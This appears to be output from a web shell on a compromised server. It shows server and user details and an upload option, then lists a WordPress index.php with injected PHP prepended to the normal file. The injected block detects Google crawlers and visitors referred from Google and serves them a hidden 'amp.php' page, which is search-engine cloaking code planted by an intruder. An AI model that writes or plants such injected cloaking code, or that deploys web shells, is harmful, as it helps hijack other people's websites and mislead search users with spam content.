HEX
Server: Apache
System: Linux sg2plmcpnl504679.prod.sin2.secureserver.net 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
User: e9ohhh9viiv2 (9040572)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/e9ohhh9viiv2/public_html/iplwinnerlist.com/index.php
<?php
if(!empty($_SERVER['HTTP_USER_AGENT'])){
 $userAgent = $_SERVER['HTTP_USER_AGENT'];
}else{
 $userAgent = '';
}

if(!empty($_SERVER['HTTP_REFERER'])){
 $referer = $_SERVER['HTTP_REFERER'];
}else{
 $referer = '';
} 
$googleBots = [
    'Googlebot',             // Genel Google bot
    'AdsBot',                // Google Ads bot
    'Mediapartners-Google',  // Google AdSense bot
    'APIs-Google',           // Google API bot
    'Googlebot-Image',       // Google Görseller botu
    'Googlebot-Video',       // Google Video botu
    'Googlebot-News',        // Google Haberler botu
    'Googlebot-Search',      // Google Search Console botu
    'Googlebot-Inspect',     // Google Inspect Tool
    'Googlebot-Android',     // Android cihazlardan gelen Googlebot
    'Googlebot-Mobile',      // Google mobil botu
    'Googlebot-Ads',         // Google Ads botu
    'Googlebot-Discovery',   // Google'ın keşif botu
    'Google-',   // Google'ın keşif botu
];


// Google botlarını veya Google'dan gelen kullanıcıları kontrol et
if (
    preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) || // Google botlarını kontrol et
    strpos($referer, 'google.') !== false                             // Referer Google mı kontrol et
) {
    include 'amp.php';
die();
}
?>
<?php
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';